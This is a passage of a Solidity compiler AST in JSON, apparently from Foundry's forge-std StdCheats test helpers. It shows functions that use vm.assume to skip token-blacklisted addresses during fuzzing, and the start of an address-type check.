":3884,"nodeType":"FunctionDefinition","src":"5292:903:3","nodes":[],"body":{"id":3883,"nodeType":"Block","src":"5373:822:3","nodes":[],"statements":[{"assignments":[3807],"declarations":[{"constant":false,"id":3807,"mutability":"mutable","name":"tokenCodeSize","nameLocation":"5449:13:3","nodeType":"VariableDeclaration","scope":3883,"src":"5441:21:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":3806,"name":"uint256","nodeType":"ElementaryTypeName","src":"5441:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":3808,"nodeType":"VariableDeclarationStatement","src":"5441:21:3"},{"AST":{"nativeSrc":"5481:59:3","nodeType":"YulBlock","src":"5481:59:3","statements":[{"nativeSrc":"5495:35:3","nodeType":"YulAssignment","src":"5495:35:3","value":{"arguments":[{"name":"token","nativeSrc":"5524:5:3","nodeType":"YulIdentifier","src":"5524:5:3"}],"functionName":{"name":"extcodesize","nativeSrc":"5512:11:3","nodeType":"YulIdentifier","src":"5512:11:3"},"nativeSrc":"5512:18:3","nodeType":"YulFunctionCall","src":"5512:18:3"},"variableNames":[{"name":"tokenCodeSize","nativeSrc":"5495:13:3","nodeType":"YulIdentifier","src":"5495:13:3"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":3801,"isOffset":false,"isSlot":false,"src":"5524:5:3","valueSize":1},{"declaration":3807,"isOffset":false,"isSlot":false,"src":"5495:13:3","valueSize":1}],"id":3809,"nodeType":"InlineAssembly","src":"5472:68:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":3813,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3811,"name":"tokenCodeSize","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3807,"src":"5557:13:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":3812,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5573:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"5557:17:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"53746443686561747320617373756d654e6f74426c61636b6c697374656428616464726573732c61646472657373293a20546f6b656e2061646472657373206973206e6f74206120636f6e74726163742e","id":3814,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"5576:83:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_ff181fc90e0398988b2d16ac6106309afb26707604277f79174c19e18b9403ed","typeString":"literal_string \"StdCheats assumeNotBlacklisted(address,address): Token address is not a contract.\""},"value":"StdCheats assumeNotBlacklisted(address,address): Token address is not a contract."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_ff181fc90e0398988b2d16ac6106309afb26707604277f79174c19e18b9403ed","typeString":"literal_string \"StdCheats assumeNotBlacklisted(address,address): Token address is not a contract.\""}],"id":3810,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"5549:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":3815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5549:111:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3816,"nodeType":"ExpressionStatement","src":"5549:111:3"},{"assignments":[3818],"declarations":[{"constant":false,"id":3818,"mutability":"mutable","name":"success","nameLocation":"5676:7:3","nodeType":"VariableDeclaration","scope":3883,"src":"5671:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":3817,"name":"bool","nodeType":"ElementaryTypeName","src":"5671:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":3819,"nodeType":"VariableDeclarationStatement","src":"5671:12:3"},{"assignments":[3821],"declarations":[{"constant":false,"id":3821,"mutability":"mutable","name":"returnData","nameLocation":"5706:10:3","nodeType":"VariableDeclaration","scope":3883,"src":"5693:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":3820,"name":"bytes","nodeType":"ElementaryTypeName","src":"5693:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":3822,"nodeType":"VariableDeclarationStatement","src":"5693:23:3"},{"expression":{"id":3834,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":3823,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3818,"src":"5799:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":3824,"name":"returnData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3821,"src":"5808:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":3825,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"5798:21:3","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"hexValue":"30786665353735613837","id":3830,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5862:10:3","typeDescriptions":{"typeIdentifier":"t_rational_4267137671_by_1","typeString":"int_const 4267137671"},"value":"0xfe575a87"},{"id":3831,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3803,"src":"5874:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_4267137671_by_1","typeString":"int_const 4267137671"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":3828,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5839:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3829,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5843:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"5839:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":3832,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5839:40:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":3826,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3801,"src":"5822:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":3827,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5828:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"5822:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":3833,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5822:58:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"src":"5798:82:3","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3835,"nodeType":"ExpressionStatement","src":"5798:82:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3850,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3840,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"5900:8:3","subExpression":{"id":3839,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3818,"src":"5901:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3849,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":3843,"name":"returnData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3821,"src":"5923:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":3845,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"5936:4:3","typeDescriptions":{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"},"typeName":{"id":3844,"name":"bool","nodeType":"ElementaryTypeName","src":"5936:4:3","typeDescriptions":{}}}],"id":3846,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"5935:6:3","typeDescriptions":{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"}],"expression":{"id":3841,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"5912:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3842,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"5916:6:3","memberName":"decode","nodeType":"MemberAccess","src":"5912:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":3847,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5912:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":3848,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"5946:5:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"5912:39:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"5900:51:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":3836,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"5890:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":3838,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5893:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"5890:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":3851,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5890:62:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3852,"nodeType":"ExpressionStatement","src":"5890:62:3"},{"expression":{"id":3864,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":3853,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3818,"src":"6035:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":3854,"name":"returnData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3821,"src":"6044:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":3855,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"6034:21:3","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"hexValue":"30786534376436303630","id":3860,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"6098:10:3","typeDescriptions":{"typeIdentifier":"t_rational_3833421920_by_1","typeString":"int_const 3833421920"},"value":"0xe47d6060"},{"id":3861,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3803,"src":"6110:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_3833421920_by_1","typeString":"int_const 3833421920"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":3858,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6075:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3859,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6079:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"6075:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":3862,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6075:40:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":3856,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3801,"src":"6058:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":3857,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6064:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"6058:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":3863,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6058:58:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"src":"6034:82:3","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3865,"nodeType":"ExpressionStatement","src":"6034:82:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3880,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3870,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"6136:8:3","subExpression":{"id":3869,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3818,"src":"6137:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":3879,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":3873,"name":"returnData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3821,"src":"6159:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":3875,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"6172:4:3","typeDescriptions":{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"},"typeName":{"id":3874,"name":"bool","nodeType":"ElementaryTypeName","src":"6172:4:3","typeDescriptions":{}}}],"id":3876,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"6171:6:3","typeDescriptions":{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_bool_$","typeString":"type(bool)"}],"expression":{"id":3871,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"6148:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":3872,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6152:6:3","memberName":"decode","nodeType":"MemberAccess","src":"6148:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":3877,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6148:30:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":3878,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"6182:5:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"6148:39:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"6136:51:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":3866,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"6126:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":3868,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6129:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"6126:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":3881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6126:62:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3882,"nodeType":"ExpressionStatement","src":"6126:62:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotBlacklisted","nameLocation":"5301:20:3","parameters":{"id":3804,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3801,"mutability":"mutable","name":"token","nameLocation":"5330:5:3","nodeType":"VariableDeclaration","scope":3884,"src":"5322:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3800,"name":"address","nodeType":"ElementaryTypeName","src":"5322:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3803,"mutability":"mutable","name":"addr","nameLocation":"5345:4:3","nodeType":"VariableDeclaration","scope":3884,"src":"5337:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3802,"name":"address","nodeType":"ElementaryTypeName","src":"5337:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5321:29:3"},"returnParameters":{"id":3805,"nodeType":"ParameterList","parameters":[],"src":"5373:0:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":3897,"nodeType":"FunctionDefinition","src":"6584:130:3","nodes":[],"body":{"id":3896,"nodeType":"Block","src":"6664:50:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":3892,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3886,"src":"6695:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":3893,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3888,"src":"6702:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":3891,"name":"assumeNotBlacklisted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3884,"src":"6674:20:3","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) view"}},"id":3894,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6674:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":3895,"nodeType":"ExpressionStatement","src":"6674:33:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNoBlacklisted","nameLocation":"6593:19:3","parameters":{"id":3889,"nodeType":"ParameterList","parameters":[{"constant":false,"id":3886,"mutability":"mutable","name":"token","nameLocation":"6621:5:3","nodeType":"VariableDeclaration","scope":3897,"src":"6613:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3885,"name":"address","nodeType":"ElementaryTypeName","src":"6613:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":3888,"mutability":"mutable","name":"addr","nameLocation":"6636:4:3","nodeType":"VariableDeclaration","scope":3897,"src":"6628:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":3887,"name":"address","nodeType":"ElementaryTypeName","src":"6628:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6612:29:3"},"returnParameters":{"id":3890,"nodeType":"ParameterList","parameters":[],"src":"6664:0:3"},"scope":5537,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":3956,"nodeType":"FunctionDefinition","src":"6720:583:3","nodes":[],"body":{"id":3955,"nodeType":"Block","src":"6804:499:3","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"id":3908,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3905,"name":"addressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3902,"src":"6818:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":3906,"name":"AddressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3799,"src":"6833:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_AddressType_$3799_$","typeString":"type(enum StdCheatsSafe.AddressType)"}},"id":3907,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6845:7:3","memberName":"Payable","nodeType":"MemberAccess","referencedDeclaration":3794,"src":"6833:19:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"src":"6818:34:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"id":3917,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3914,"name":"addressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3902,"src":"6911:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":3915,"name":"AddressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3799,"src":"6926:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_AddressType_$3799_$","typeString":"type(enum StdCheatsSafe.AddressType)"}},"id":3916,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"6938:10:3","memberName":"NonPayable","nodeType":"MemberAccess","referencedDeclaration":3795,"src":"6926:22:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"src":"6911:37:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"id":3926,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3923,"name":"addressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3902,"src":"7004:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":3924,"name":"AddressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3799,"src":"7019:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_AddressType_$3799_$","typeString":"type(enum StdCheatsSafe.AddressType)"}},"id":3925,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7031:11:3","memberName":"ZeroAddress","nodeType":"MemberAccess","referencedDeclaration":3796,"src":"7019:23:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"src":"7004:38:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"id":3935,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3932,"name":"addressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3902,"src":"7105:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":3933,"name":"AddressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3799,"src":"7120:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_AddressType_$3799_$","typeString":"type(enum StdCheatsSafe.AddressType)"}},"id":3934,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7132:10:3","memberName":"Precompile","nodeType":"MemberAccess","referencedDeclaration":3797,"src":"7120:22:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"src":"7105:37:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"condition":{"commonType":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"},"id":3944,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":3941,"name":"addressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3902,"src":"7204:11:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum StdCheatsSafe.AddressType"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":3942,"name":"AddressType","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3799,"src":"7219:11:3","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_AddressType_$3799_$","typeString":"type(enum StdCheatsSafe.AddressType)"}},"id":3943,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"7231:12:3","memberName":"ForgeAddress","nodeType":"MemberAccess","referencedDeclaration":3798,"src":"7219:24:3","typeDescriptions":{"typeIdentifier":"t_enum$_AddressType_$3799","typeString":"enum 